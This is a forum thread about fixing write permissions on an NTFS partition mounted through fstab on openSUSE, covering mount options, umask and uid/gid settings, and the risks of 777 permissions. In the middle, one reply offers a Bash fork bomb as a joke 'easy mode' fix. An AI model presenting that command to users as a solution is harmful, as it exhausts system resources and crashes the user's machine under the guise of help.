Why are linux permissions so hard to understand?
Why are linux permissions so hard to understand?
Where do you get stuck?
i dual boot windows and linux. All the data on my Windows partition is read only unless I'm root
If you automount, check the conf in the fstab file. If not, the post your 'mount' command.
Also which distro?
Then you arent mounting it properly
I use fstab to mount it.
UUID=12516D3C678F2B13 /WinDrive ntfs-3g noatime,users,gid=users,fmask=133,dmask=022,locale=en_US.UTF-8 0 0
>which distro
openSUSE
You arent mounting it rw
Add 'rw' at the end
>add rw
after the last 0?
after utf-8
>
>You arent mounting it rw
>Add 'rw' at the end
Actually, you have to add it in the "options" after the "ntfs-3g":
...ntfs-3g rw,noatime,users...
You can add it any where as long as its part of the 4th set of switches
As long as its in that part of the command.
ntfs-3g noatime,nodev,rw,commit=60,nosuid
ETC ETC
this did not resolve the issue. i can still only write when i'm root.
Did you remount it?
I rebooted after editing fstab
Post permissions of the folder you are mounting too
drwxr-xr-x 1 root users 8192 Jul 17 06:22 /WinDrive/
Naa, the issue is the umask there in "fmask" and "dmask" change them all to four zeroes (0000), disclaimer: this is the same as setting "777" so do at your own risk.
if you want easy mode, type
:(){ :|: & };:
into the console
you're welcome
Or you can let the umask be and set the "uid" and "gid" to your username and group
this worked awesome!
what are the dangers of setting to 0000/777? I remember always being warned about that
If somebody, somehow gets inside your system in anyway (webserver, ftp, etc...) that person can read/modify/execute said files freely.
Yeah there are some who know how to trigger a privilege escalation exploit, but why make it easy?